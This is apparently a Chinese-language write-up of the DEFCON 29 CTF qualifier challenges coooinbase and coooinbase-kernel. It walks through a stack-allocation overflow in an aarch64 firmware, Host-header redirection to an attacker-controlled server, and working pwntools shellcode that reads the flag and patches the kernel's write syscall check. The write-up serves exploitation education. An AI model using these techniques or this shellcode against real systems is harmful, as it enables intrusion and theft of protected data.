DEFCON 29 CTF Qualifier coooinbase and coooinbase-kernel Write-up
2021-05-03 01:00:00 Author: bestwing.me(查看原文) 阅读量:197 收藏

DEFCON 29 CTF Qualifier: coooinbase && coooinbase-kernel Write-up

coooinbase

题目描述:

a simple service backed by special hardware for buying bitcoin: our beta testing server is live at http://52.6.166.222:4567 - this time attack the kernel!

图:1 题目服务首页

从题目的首页的 custom hardware 处可以下到题目的固件包。

image-20210504004611006

图: 2 下载题目固件

可以看到固件包里包以下文件:

1
2
3
4
5
6
7
➜  coooinbase tar -xvzf src
x dist/
x dist/x.rb
x dist/coooinbase.bin
x dist/rootfs.img
x dist/x.sh
x dist/x.html

其中 x.rb 是 web 的后端服务,我们需要关注的代码逻辑如图:

image-20210504004932474

图3: x.rb 代码

阅读代码,我们可以知道一下几点:

  1. 当我们访问 /buy api 的时候, 代码会请求 HTTP_POST 地址处的的 /gen-bson api, 当获取到 /gen-bson api 返回的数据后,会将数据写入 pwn 文件中,然后以重定向的形式喂入 ./x.sh 文件
  2. /gen-bson 这个 api 会调用 valid_credit_cardvalid_association 函数分别校验填入的 cardnumber 的合法性。 但是值得注意的是,这两个函数均会调用 to_s.gusb(/\D/, '') 将传入的 number 变量中的非数字给去掉,但是在 44 -处的 number 却是仍然带有字符串的,因此此处我们可以传入其他非数字的值 (6011000000000004 这个cardnmumber 可以过校验)
  3. gen-bson 在45-46 行处会将参数转成 bson 格式,且 base64 编码, 然后返回

(注: 此处还有有个点,我在一开始的时候没注意到,暂且不提)

x.sh 的代码内容如下:

1
timeout 1 qemu-system-aarch64 -machine virt -cpu cortex-a57 -smp 1 -m 64M -nographic -serial mon:stdio -monitor none -kernel coooinbase.bin -drive if=pflash,format=raw,file=rootfs.img,unit=1,readonly

用 qemu 跑起一个服务, 内核为: coooinbase.bin 以及有对应的 rootfs.img , 通过以下命令可以将文件系统 mount 出来

1
2
3
4
modprobe nbd max_part=8
qemu-nbd --connect=/dev/nbd0 ./rootfs.img
mkdir rootfs
mount /dev/nbd0 rootfs

可以看到 文件系统中有三个文件:

1
2
➜  rootfs ls
bin flg run

其中 bin 和 run , 通过逆向发现是一样的文件, flg 是flag 文件

猜测 bin (run) 就是要 pwn 的用户态程序, 通过启动命令,我们知道架构为 aarch64, cpu 为 cortex-a57, 我们使用 IDA Pro 打开该文件, 设置如下:

image-20210504012341867

图4:IDA 加载

image-20210504012534460

图4:IDA分析截图

然后就必然发现 IDA 什么函数都没有分析出来, 所以我们需要修正下我们的 IDB,修复出函数

image-20210504014746398

图5:修复后的 IDA 截图

bsion_find_string 中我们发现了一处动态分配栈空间的逻辑

image-20210504015258789

图5:动态分配栈空间

在地址 0xB6C 处, X1 为传入的字符串大小, 此处判断需要动态分配的栈的大小 。

image-20210504025826791

图5:mapping 截图

但是这里存在一个问题, 这个没有判断传入的字符串大小是不是太大,如果太大的话, 例如我传入 0xf000 大小的字符串,那么此时将分配 0xf000 大小的栈, 即 SP = SP - 0xffff , 由于栈在程序代码段的下方,此时将导致栈会被分配到代码段上,而且由于是 qemu 启动的程序,所有的段都是可写可执行的。

因此,这个题目的思路如下:

构造足够长的字符串,将栈分配之后将执行的代码段位置, 写入 shellcode 然后最后执行 shellcode. 由于程序有现成 open read write 的函数, 因此 shellcode 编写方便了许多,我们只需直接 call 函数即可。

shellcode:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

flag_path_name = 0x715
open_addr = 0x340
read_addr = 0x34C
write_addr = 0x310


shellcode = pwnlib.shellcraft.aarch64.setregs({'x0':flag_path_name, 'x1':0, 'x12':open_addr})
shellcode += 'BLR x12\n'



shellcode += pwnlib.shellcraft.aarch64.setregs({'x1':0xFFFF000000088858, 'x2':0x50, 'x12':read_addr})
shellcode += 'BLR x12\n'


shellcode += pwnlib.shellcraft.aarch64.setregs({'x0':0x715, 'x12':write_addr})
shellcode += 'BLR x12\n'

print(asm(shellcode))

但是这里会出现一个坑点:

image-20210504030941428

ruby to bson 的时候得是 UTF-8 的字符集,这意味这在 x.rb 代码中的(见图4) 45 是过不去的, 然后在比赛的时候一度陷入试图把我的 shellcode 的修改为全为 UTF-8 字符集的艰苦工作中。 然后 peanuts 发现, HTTP_POST 是由 HTTP header 中的 HOST字段控制的, 这以为我们不需要通过后端自身的 /gen_bson api 传入构造好的 payload , 我们只需搭建我们自己的服务, 当接收到 /gen_bson 请求后, 传回我们的 payload。

coooinbase-kernel

image-20210504035715437

内核实现了几个syscall

其中 write 限制了读取的地址的范围

image-20210504035800048

但是 read 中没有限制写入的地址的范围

因此这个题的思路为:

在已经完成的用户态任意代码执行的基础上

  1. open bin 文件,找到一个无意义的代码
  2. lseek 到该处
  3. read 该处的代码
  4. 通过 read 向内核的 write 的判断地址范围的地方写掉
  5. 调用 write 将内核地址中的 flag 打印出
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

shellcode = pwnlib.shellcraft.aarch64.setregs({'x0':0x715, 'x1':0, 'x12':0x340})
shellcode += 'BLR x12\n'


shellcode += pwnlib.shellcraft.aarch64.setregs({'x1':0x510, 'x2':0, 'x12':0x364})
shellcode += 'BLR x12\n'


shellcode += pwnlib.shellcraft.aarch64.setregs({'x1':0xFFFF000000082A5C-4, 'x2':8, 'x12':0x34C})
shellcode += "MOV X0, X6\n"
shellcode += 'BLR x12\n'


shellcode += pwnlib.shellcraft.aarch64.setregs({'x2':0x50, 'x6':0xFFFF000000088858,'x12':0x310})
shellcode += 'MOV X0, X6\n'
shellcode += 'BLR x12\n'

文章来源: https://bestwing.me/DEFCON-29-CTF-Qualifier-coooinbase-and-coooinbase-kernel-Write-up.html
如有侵权请联系:admin#unsafe.sh